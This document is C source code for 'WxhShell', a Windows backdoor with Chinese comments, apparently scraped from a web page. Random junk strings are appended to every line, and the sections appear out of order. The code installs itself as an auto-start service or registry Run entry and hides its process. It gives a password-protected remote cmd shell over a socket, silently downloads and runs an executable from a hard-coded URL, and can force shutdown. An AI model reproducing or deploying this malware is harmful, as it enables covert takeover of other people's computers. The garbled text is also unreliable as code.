    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C/mg46 v2W  
    if(Boot(SHUTDOWN)) @MNl*~'$.[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pY^pTWs(  
    else { AC 9{*K[  
    closesocket(wsh); ggerh#  
    ExitThread(0); 7[ZkM+z!  
    } =}~NRmmF  
    break; [:AB$l*  
    } 5Z* b(R  
  // 获取shell |$YyjYK  
  case 's': { BhqhyX\D&y  
    CmdShell(wsh); f Ub1/-}  
    closesocket(wsh); ,]0S4h67  
    ExitThread(0); 17e=GL  
    break; Na\3.:]z  
  } >nc4v6s  
  // 退出 ^dFh g_GhF  
  case 'x': { oHxGbvQc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C}n'>],p  
    CloseIt(wsh); ~Y\QGuT  
    break; ^{),+S  
    } eeZIa`.sX  
  // 离开 3CA|5A.Pa  
  case 'q': { f&6w;T=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6{5q@9F  
    closesocket(wsh); PPUEkvH W  
    WSACleanup(); q $t&|{  
    exit(1); mG0L !5  
    break; aML#Z|n  
        } ' be P  
  } u8 |@|t  
  } C>AcK#-x,{  
5iP8D<;o5  
  // 提示信息 bBA$}bv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J2rvJ2l=t  
} 6a7vlo  
  } [m~b[ZwES  
fr8Xoa%1=  
  return; ksTzXG8  
} .6\T`6H=a  
7*+Km'=M  
// shell模块句柄 LEWa6'0rq  
int CmdShell(SOCKET sock) r])Z9bbi  
{ nHrP>zN  
STARTUPINFO si; :_>\DJ'>  
ZeroMemory(&si,sizeof(si)); KA`0g=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [}{w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I!61 K  
PROCESS_INFORMATION ProcessInfo; )X7e$<SU*  
char cmdline[]="cmd"; [.{^"<Z<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a@Mq J=<L  
  return 0; B,4q>KQA  
} b2G2c L-(  
g4Y) Bz  
// 自身启动模式 #>BX/O*D  
int StartFromService(void) $+7ci~gs  
{ *U M! (  
typedef struct YdK _.t0Mu  
{ T0;u+$  
  DWORD ExitStatus; FX7M4t#<  
  DWORD PebBaseAddress; >J.Qm0TY(  
  DWORD AffinityMask; <F ew<r2  
  DWORD BasePriority; -<|Y1PQ  
  ULONG UniqueProcessId;  wjL|Z8  
  ULONG InheritedFromUniqueProcessId; oBb?"2~9  
}   PROCESS_BASIC_INFORMATION; 4 ^4d9?c  
yDzdE;  
PROCNTQSIP NtQueryInformationProcess; IeZ&7u  
UIQQ \,3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~ W@X-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HF]EU!OT  
p7s@%scp  
  HANDLE             hProcess; tzPC/?  
  PROCESS_BASIC_INFORMATION pbi; )Ea8{m!   
Hc M~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [ne" T  
  if(NULL == hInst ) return 0; +)zDA:2Wa"  
I|Z/`9T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Np$z%ewK.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^,+nef?=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6nc0=~='$  
MvBD@`&7  
  if (!NtQueryInformationProcess) return 0; :VJV5f{  
{H+?z<BF<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J,RDTXqn  
  if(!hProcess) return 0; !I~C0u  
n3'dLJH|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lw s(/a*c  
sllzno2bU  
  CloseHandle(hProcess); pL! a  
IJ0#iA. T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '[Xl>Z[  
if(hProcess==NULL) return 0; #K|0lau l  
\04mLIJr9  
HMODULE hMod; |gW    
char procName[255]; (|dPeix|  
unsigned long cbNeeded; <~N%W#z/  
Vg{Zv4+t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p!}ZdX[u  
7u::5W-q  
  CloseHandle(hProcess); eHUg-\dy  
4#_$@ r  
if(strstr(procName,"services")) return 1; // 以服务启动 R5~gH6K|  
'#A:.P  
  return 0; // 注册表启动  #I;D  
} qcYNtEs*c  
y+A{Y  
// 主模块 tfA}`*$s  
int StartWxhshell(LPSTR lpCmdLine) %kq ^]S2O  
{ yc[(lq.^n  
  SOCKET wsl; g,=^'D  
BOOL val=TRUE; b~*i91)\  
  int port=0; &L%Jy #=  
  struct sockaddr_in door; PyFj@n  
'PpZ/ry$  
  if(wscfg.ws_autoins) Install(); L%XXf3;c  
'y.JcS!|  
port=atoi(lpCmdLine); ab@=cL~^  
{OCJ(^8i  
if(port<=0) port=wscfg.ws_port; L7}i q0  
nVXg,Jl  
  WSADATA data; :Jk33 N4y0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7TpRCq#  
3{e'YD~hP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g8l5.Mpx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @o&Ytd;i  
  door.sin_family = AF_INET; ?Wa<AFXQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [Tp%"f1  
  door.sin_port = htons(port); nv)))I\  
w.uK?A>W,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hg8Be6G <  
closesocket(wsl); DvYwCgLR  
return 1; s/t11;  
} 4-V)_U#8  
O,|\"b1(  
  if(listen(wsl,2) == INVALID_SOCKET) { 3cixQzb}u  
closesocket(wsl); ?mU\ N0o  
return 1; 3;l"=#5  
} Yb 6q))Y  
  Wxhshell(wsl); /zT`Y=1  
  WSACleanup(); 6G}c1nWU  
B.*"Xfr8  
return 0; 1"YpO"Rh  
AF$\WWrB  
} Y\( ;!o0a  
ezn` _x_?  
// 以NT服务方式启动 $P nLG]X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2+:'0Krc  
{ ,{8v4b-  
DWORD   status = 0; ne*#+Q{E  
  DWORD   specificError = 0xfffffff; #wjH4DT  
YE\K<T jH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; '$[Di'*;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `Mk4sKU\a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qfr Ni1\9-  
  serviceStatus.dwWin32ExitCode     = 0; ^A!$i$NON  
  serviceStatus.dwServiceSpecificExitCode = 0; `Wn Q   
  serviceStatus.dwCheckPoint       = 0; smup,RNZRX  
  serviceStatus.dwWaitHint       = 0; cDeZMsV  
utH%y\NMF|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,E}$[mHyjz  
  if (hServiceStatusHandle==0) return; 0 iR R{a<  
"hPCQp`Tj  
status = GetLastError(); <lj\#'G3  
  if (status!=NO_ERROR) R ]P;sk5  
{ >1ZJ{se  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ($>XIb9f  
    serviceStatus.dwCheckPoint       = 0; [s}/nu~U  
    serviceStatus.dwWaitHint       = 0; 8r^ ~0nm  
    serviceStatus.dwWin32ExitCode     = status; WYszk ,E  
    serviceStatus.dwServiceSpecificExitCode = specificError; j?-R]^-5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7&+Ys  
    return; @G*.1;jO  
  } MhxDV d  
QVtM.oi!Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; au$"B/  
  serviceStatus.dwCheckPoint       = 0; AVFjBybu9  
  serviceStatus.dwWaitHint       = 0; J@]k%h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w4%AJmt  
} {Uq:Xw   
H;S%Y`V  
// 处理NT服务事件,比如:启动、停止 CW`!}yu%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f Iy]/  
{ >emcJVYV`[  
switch(fdwControl) *||d\peQ  
{ _u5dC   
case SERVICE_CONTROL_STOP: /S~m)$vu  
  serviceStatus.dwWin32ExitCode = 0; A,#2^dR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; SaO3 zz@L  
  serviceStatus.dwCheckPoint   = 0; {rXs:N@  
  serviceStatus.dwWaitHint     = 0; E FY@Y[  
  { o8ppMM8_R[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XUS vhr$|  
  } !#}7{  
  return; O3qM1-k}S  
case SERVICE_CONTROL_PAUSE: Phs-(3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Cq\I''~8  
  break; :2y"3azxk  
case SERVICE_CONTROL_CONTINUE: B42sb_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zwr\:Hu4  
  break; "b,%8  
case SERVICE_CONTROL_INTERROGATE: +iA=y=;blH  
  break; NXU`wnVJ  
}; ; Lql_1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *e/K:k  
} T3pdx~66  
|B^G:7c  
// 标准应用程序主函数 AGq>=avv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9 wh2f7k  
{ YRcps0Dx9  
L*]0"E  
// 获取操作系统版本 Xy7Z38G  
OsIsNt=GetOsVer(); vAi$ [p*im  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *>."V5{;S  
ax|1b`XUr"  
  // 从命令行安装 k;Fh4Hv  
  if(strpbrk(lpCmdLine,"iI")) Install(); Zj VWxQ  
L1 #Ij#  
  // 下载执行文件 bx}fj#J]En  
if(wscfg.ws_downexe) { p#@Z$gTH`'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O#_b7i  
  WinExec(wscfg.ws_filenam,SW_HIDE); shgAhx  
} `xz&Scil  
\x+3f  
if(!OsIsNt) { tju|UhP3  
// 如果时win9x,隐藏进程并且设置为注册表启动 mT.e>/pa  
HideProc(); +  WDq =S  
StartWxhshell(lpCmdLine); [j9E pi(  
} 0KvVw rWJ  
else ,1 UZv>}S  
  if(StartFromService()) Qa`hR  
  // 以服务方式启动 11UB4CA  
  StartServiceCtrlDispatcher(DispatchTable); tIuoD+AW  
else nII^mg~  
  // 普通方式启动 sl|_=oXT  
  StartWxhshell(lpCmdLine); jirbUl  
glUo7^ay7  
return 0; nH[+n `{o  
} f3tv3>p  
* fc-gAj  
c&'JmKV>&  
%f ju G  
=========================================== z#Nl@NO&  
:`Az/U[  
.EP6oKA  
`-UJ /{  
'Kbl3fUF  
jC, FG'P  
" G|u3UhyB  
BNucc']  
#include <stdio.h> %NARyz  
#include <string.h> Qt+:4{He  
#include <windows.h> b,^*mx=  
#include <winsock2.h> ;<wS+4,  
#include <winsvc.h> mpay^.(%  
#include <urlmon.h> -J0WUN$2*  
#exss=as/  
#pragma comment (lib, "Ws2_32.lib") d- E4~)Qy  
#pragma comment (lib, "urlmon.lib") 9NpD!A&64<  
F%/ h*  
#define MAX_USER   100 // 最大客户端连接数 m7qqY  
#define BUF_SOCK   200 // sock buffer }5 9U}@xC  
#define KEY_BUFF   255 // 输入 buffer XcfKx@l  
g:#d l\k  
#define REBOOT     0   // 重启 X%{'<baR  
#define SHUTDOWN   1   // 关机 [_6&N.  
'mMjjG9  
#define DEF_PORT   5000 // 监听端口 }_OM$nzj  
fI|[Z+"  
#define REG_LEN     16   // 注册表键长度 f4('gl9  
#define SVC_LEN     80   // NT服务名长度 5g ;ac~g  
d/,E2i{I7  
// 从dll定义API \5><3*\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8v92N g7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8cWZ"v  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k|E]YvnfG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0ZI(/r  
!~iGu\y  
// wxhshell配置信息 vS?odqi#n  
struct WSCFG { xytr2V ]aV  
  int ws_port;         // 监听端口 qr(`&hB-L  
  char ws_passstr[REG_LEN]; // 口令 4? (W%?  
  int ws_autoins;       // 安装标记, 1=yes 0=no ! . HnGb+  
  char ws_regname[REG_LEN]; // 注册表键名 g!J0L7 i|  
  char ws_svcname[REG_LEN]; // 服务名 /Z%>ArAx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 I!: z,t<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NCS!:d:Ry  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y2yKm1<Ru<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "^CXY3v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bE\,}DTy  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +: Ge_-  
lE#m]D  
}; T1Ta?b  
*~VxC{  
// default Wxhshell configuration 40P) 4w  
struct WSCFG wscfg={DEF_PORT, 4FMF|U  
    "xuhuanlingzhe", 6`H.%zM  
    1, ]$iN#d|ZU  
    "Wxhshell", d^D i*&X  
    "Wxhshell", 6XV<? 9q  
            "WxhShell Service", W?RE'QV8  
    "Wrsky Windows CmdShell Service", pa]"iZz  
    "Please Input Your Password: ", #gbH^a'  
  1, 0~gO'*2P  
  "http://www.wrsky.com/wxhshell.exe", oduDA:  
  "Wxhshell.exe" sq0 PBEqq  
    }; & eZfQ27$  
1cJsj  
// 消息定义模块 o|8`>!hF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t}p@:'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; HK=[U9 o?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NX6nQ  
char *msg_ws_ext="\n\rExit."; ^y_fRP~  
char *msg_ws_end="\n\rQuit."; `sHuM*  
char *msg_ws_boot="\n\rReboot..."; +V(5w`qx  
char *msg_ws_poff="\n\rShutdown..."; I=Zx"'Um  
char *msg_ws_down="\n\rSave to "; )9j06(<A  
-pb&-@Hul  
char *msg_ws_err="\n\rErr!"; %!j:fJ()  
char *msg_ws_ok="\n\rOK!"; #;tT8[Ewuw  
Bx~[F  
char ExeFile[MAX_PATH]; Ubz"rCjq  
int nUser = 0; viaJblYj(f  
HANDLE handles[MAX_USER]; M#jN-ix  
int OsIsNt; udqS'g&  
Q=cQLf;/'  
SERVICE_STATUS       serviceStatus; fQLax  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C;B}3g&  
Xa 9TS"  
// 函数声明 d+L#t  
int Install(void); x;E2~&E  
int Uninstall(void); Cpl;vQ  
int DownloadFile(char *sURL, SOCKET wsh); ]`=X'fED  
int Boot(int flag); ] Uc`J8p,  
void HideProc(void); quu*xJ;Ci  
int GetOsVer(void); \+PIe7f_  
int Wxhshell(SOCKET wsl); BN_7Ay/k  
void TalkWithClient(void *cs); 5i So8*9}  
int CmdShell(SOCKET sock); %"$@%"8;3  
int StartFromService(void); WOytxE  
int StartWxhshell(LPSTR lpCmdLine); O9h+Q\0\W  
C*6S@4k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IO$z%r7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ./-JbW  
h1"zV6U  
// 数据结构和表定义 J{"kw1Lu  
SERVICE_TABLE_ENTRY DispatchTable[] = )h$NS2B`  
{ Vd9@Dy  
{wscfg.ws_svcname, NTServiceMain}, (&\aA 0-}H  
{NULL, NULL} T3&`<%,f  
}; /\d$/~BFi  
$a;]_Y  
// 自我安装 'Pltn{iq[  
int Install(void) $ItF])Bj5N  
{ HL{$ ^l#v  
  char svExeFile[MAX_PATH]; wdE?SDs  
  HKEY key; %'Xk)-+y  
  strcpy(svExeFile,ExeFile); vR7HF*8  
k!XhFWb  
// 如果是win9x系统,修改注册表设为自启动 w Fn[9_`*  
if(!OsIsNt) { l95<QI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &~sfYW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `m~syKz4A  
  RegCloseKey(key); V`hu,Y;%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f6=w3RS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D$e B ,~  
  RegCloseKey(key); x2VBm$>  
  return 0; /'DwfX  
    } V~{ _3YY  
  } 2h^WYpCm  
} e&I t  
else { I?!rOU= 0  
-0HkTY  
// 如果是NT以上系统,安装为系统服务 5ua?I9fY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,5k-.Md>2*  
if (schSCManager!=0) (X[2TT3j!  
{ [\ )Ge  
  SC_HANDLE schService = CreateService 3NK ^AaTK  
  ( q`|CrOzO  
  schSCManager, $6f\uuTU2"  
  wscfg.ws_svcname, D$k8^Vs  
  wscfg.ws_svcdisp, vFmJ;J  
  SERVICE_ALL_ACCESS, "kW!{n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TJ@Cjy%  
  SERVICE_AUTO_START, {OMg d3%14  
  SERVICE_ERROR_NORMAL, FcbM7/  
  svExeFile, zri} h/{  
  NULL, /M0/-pV 9  
  NULL, N> Jw  
  NULL, zzpZ19"`1  
  NULL, obClBO)@Y  
  NULL rx ~[Zs+*  
  ); 5t:8.%<UK  
  if (schService!=0) <!^ [~`  
  { cSP*f0n,eo  
  CloseServiceHandle(schService); y7u^zH6wj  
  CloseServiceHandle(schSCManager); 9|r* pK[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ilLBCS}  
  strcat(svExeFile,wscfg.ws_svcname); h+UnZfm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,8Iv9M}2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *6ZCDm&N  
  RegCloseKey(key); y f1CXldi  
  return 0; ,lN5,zI=S  
    } / l>.mK()  
  } jB$SUO`*  
  CloseServiceHandle(schSCManager); g;p)n  
} pNaiXu3  
} Y0uvT7+[hi  
~.tvrx g  
return 1; `d]Z)*9  
} "u^EleE!  
m$Y :0_^-  
// 自我卸载 =J'P.  
int Uninstall(void) 8}p8r|d!ls  
{ <EX7WA  
  HKEY key; |(IO=V4P  
Rhgj&4  
if(!OsIsNt) { Ibr%d2yS=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8Cf|*C+_'  
  RegDeleteValue(key,wscfg.ws_regname); 6Y*;{\Rd  
  RegCloseKey(key); 70W"G X&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Va<H U:<  
  RegDeleteValue(key,wscfg.ws_regname); jRZ%}KX  
  RegCloseKey(key); )6oGF>o>  
  return 0; 5a`%)K  
  } {5Lj8 N5  
} ('k<XOi  
} wGKo.lt   
else { +=@^i'  
R'K/t|MC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eBr4O i  
if (schSCManager!=0) c=p=-j=.J  
{ T.&7sbE_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XJ\hd,R   
  if (schService!=0) 3fS}:!sQ  
  { mX# "+X|  
  if(DeleteService(schService)!=0) { 6Z:YT&,f  
  CloseServiceHandle(schService); C0 ) Z6  
  CloseServiceHandle(schSCManager); *7gT}O;p 5  
  return 0; u:P~j  
  } |^n3{m  
  CloseServiceHandle(schService); ! >.vh]8g  
  } nS.G~c|  
  CloseServiceHandle(schSCManager); TRvZ  
} cgZaPw2 bw  
} D@54QJ<  
J\co1kO9/  
return 1; n@>wwp  
} $^%N U  
0%C^8%(x  
// 从指定url下载文件 @"87F{!  
int DownloadFile(char *sURL, SOCKET wsh) *YV S|6bs  
{ fv'4f$U  
  HRESULT hr; 85Y|CN] vQ  
char seps[]= "/"; X)Gp7k1w  
char *token; Ww9;UP'G  
char *file; j BS4vvX?  
char myURL[MAX_PATH]; .(Y6$[#@  
char myFILE[MAX_PATH]; XX;6 P  
htJuGfDx1  
strcpy(myURL,sURL); dSK 0h(8  
  token=strtok(myURL,seps); y;`eDS'0.N  
  while(token!=NULL) wz(K*FP  
  { 'imU `zeo  
    file=token; p]|LV)R n  
  token=strtok(NULL,seps); *o?i:LE]  
  } Fz"ff4Bx [  
pa/9F[  
GetCurrentDirectory(MAX_PATH,myFILE); #gZ|T M/h  
strcat(myFILE, "\\"); ~ 9M!)\~  
strcat(myFILE, file); ;IP~Tb]&  
  send(wsh,myFILE,strlen(myFILE),0); D!3{gV#  
send(wsh,"...",3,0); &w\ I<J`T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yXfMzG  
  if(hr==S_OK) P'[<A Z  
return 0; m#@_8_ M  
else H#(<-)j0_  
return 1; "ED8z|]j  
:{}_|]>K  
} !q /5yEJ>h  
 M[P^]J@  
// 系统电源模块 POd/+e9d  
int Boot(int flag) M}FWBs'*|  
{ 05e>\}{0  
  HANDLE hToken; Wr%7~y*K  
  TOKEN_PRIVILEGES tkp; I 48VNX  
:F(9"L  
  if(OsIsNt) { LJuW${Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8C&x MA^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9C}qVoNu  
    tkp.PrivilegeCount = 1; {U @3yB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8I#D`yVKc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Xa,&ef&q  
if(flag==REBOOT) { ^X? D#\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ie_I7YJ  
  return 0; @p!Q1-]=  
} X>,A  
else { #BJ\{"b_}z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,)#.a%EKA  
  return 0; ;;#nV$  
} y:so L:(F  
  } EZj1jpL  
  else { vDDljQXw4  
if(flag==REBOOT) { C3"&sdLb$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $G";2(-k  
  return 0; gA:TL{X0  
} bx;f`8SN  
else { tbur$ 00  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {*xBm#  
  return 0; ejcwg*i  
} 3wt  
} i Ci>zJ  
rK=6]j(K  
return 1; Ye |G44z  
} Q<=Y  
O% $O(l  
// win9x进程隐藏模块 :JV\){P  
void HideProc(void) .h8M  
{ \qq-smcM-  
k|j:T[_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L|67f4  
  if ( hKernel != NULL ) ?!S GiARW?  
  { Yn<)k_kp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [ b1hC ~I;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [thboP.?  
    FreeLibrary(hKernel); azGn P3_  
  } @PXXt#  
)Vk:YL++  
return; Vyt E  
} ]P3[.$z  
 P\(30  
// 获取操作系统版本 otq,R6 ^  
int GetOsVer(void) g!^J,e=  
{ In(NF#  
  OSVERSIONINFO winfo; el*9 Ih  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~3 @*7B5Q  
  GetVersionEx(&winfo); *.8:'F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *8-p7,D  
  return 1; 9ECS,r*B  
  else I~RcOiL)  
  return 0; Phlk1*1n  
} #s^s_8#&e  
mQ,{=C=D  
// 客户端句柄模块 sp{j!NSL  
int Wxhshell(SOCKET wsl) dXZP[K#  
{ 6\`DlUn'*  
  SOCKET wsh; .mt^m   
  struct sockaddr_in client; z93nYY$`Y  
  DWORD myID; ;&mxqY8`'  
W-Of[X{<  
  while(nUser<MAX_USER) yWuIu>VJ  
{ 6/7F">@j  
  int nSize=sizeof(client); G"Pj6QUva  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u}CG>^0C  
  if(wsh==INVALID_SOCKET) return 1; :uvc\|:s  
<Kp+&(l,l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~XQ$aRl&  
if(handles[nUser]==0) N cM3P G  
  closesocket(wsh); XGk}e4;_  
else Fwv\pJ}$  
  nUser++; Zd XKI{b  
  } ` ,-STIh)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x!+Z{x   
n)CH^WHL&  
  return 0; 88YC0!Ni  
} 'FxYMSZS$  
BvJ\x)  
// 关闭 socket ^0eO\wc?O  
void CloseIt(SOCKET wsh) }K;iJ~kD1  
{ -x?Hj/  
closesocket(wsh); D(@SnI+  
nUser--; kA,4$ 2_o  
ExitThread(0); JP%RTGu  
} jrcc  
Rk{$S"8S_  
// 客户端请求句柄 @Yarz1  
void TalkWithClient(void *cs) `skH-lk,  
{ %IU4\ZY>  
ck~ '`<7  
  SOCKET wsh=(SOCKET)cs; =W |vOfy  
  char pwd[SVC_LEN]; "c EvFY  
  char cmd[KEY_BUFF]; 8J^d7uC  
char chr[1]; |rFJ*.nD  
int i,j; i&pMF O  
Ej5^Y ?-6  
  while (nUser < MAX_USER) { tnJ`D4  
N.vG]%1"  
if(wscfg.ws_passstr) { d3(+ztmG!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w'XSb.\)_m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x{j+}'9  
  //ZeroMemory(pwd,KEY_BUFF); ++gPv}:$X  
      i=0; 2_I+mQ  
  while(i<SVC_LEN) { -G!6U2*#  
`|JI\&z  
  // 设置超时 4V>vg2 d  
  fd_set FdRead; K"I{\/x@  
  struct timeval TimeOut; D/*vj|  
  FD_ZERO(&FdRead); (I!1sE!?1  
  FD_SET(wsh,&FdRead); 2X^iV09  
  TimeOut.tv_sec=8; 'N|2vbi<  
  TimeOut.tv_usec=0; rNxG0^k(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G\uU- z$)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W n6,U=$3  
9QZ}Hn`p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5@iy3olP  
  pwd=chr[0]; Sn0Xl3yr  
  if(chr[0]==0xd || chr[0]==0xa) { sB8p( L  
  pwd=0; ID+,[TM`  
  break; W=F3XYS  
  } +O,V6XRr  
  i++; Ho>p ^p  
    } 03] r*\  
#yX^?+Rc  
  // 如果是非法用户,关闭 socket do*Wx2:R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y]MWd#U  
} [ns&Y0Y`t  
^Jn|*?+l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^`/V i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %{Xm5#m  
c.\:peDk  
while(1) { [KD}U-(Wg  
g8Ok ^  
  ZeroMemory(cmd,KEY_BUFF); A?\h|u<  
D`8E-Bq  
      // 自动支持客户端 telnet标准   ;g6 nHek  
  j=0; I? A~zigO  
  while(j<KEY_BUFF) { 7/ 4~>D&-b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RlPjki"Mg  
  cmd[j]=chr[0]; +<H !3sW  
  if(chr[0]==0xa || chr[0]==0xd) { YdPlN];[  
  cmd[j]=0; vW9^hbdx  
  break; {~":;  
  } X3 <SP  
  j++; y B1W>s8&  
    } Cx$9#3\  
BzN/6VEw  
  // 下载文件  h=:*7>}  
  if(strstr(cmd,"http://")) { ;U8dm"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); YHJ'  
  if(DownloadFile(cmd,wsh)) F=:F>6`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;.L!%$0i#  
  else `Uu^I   
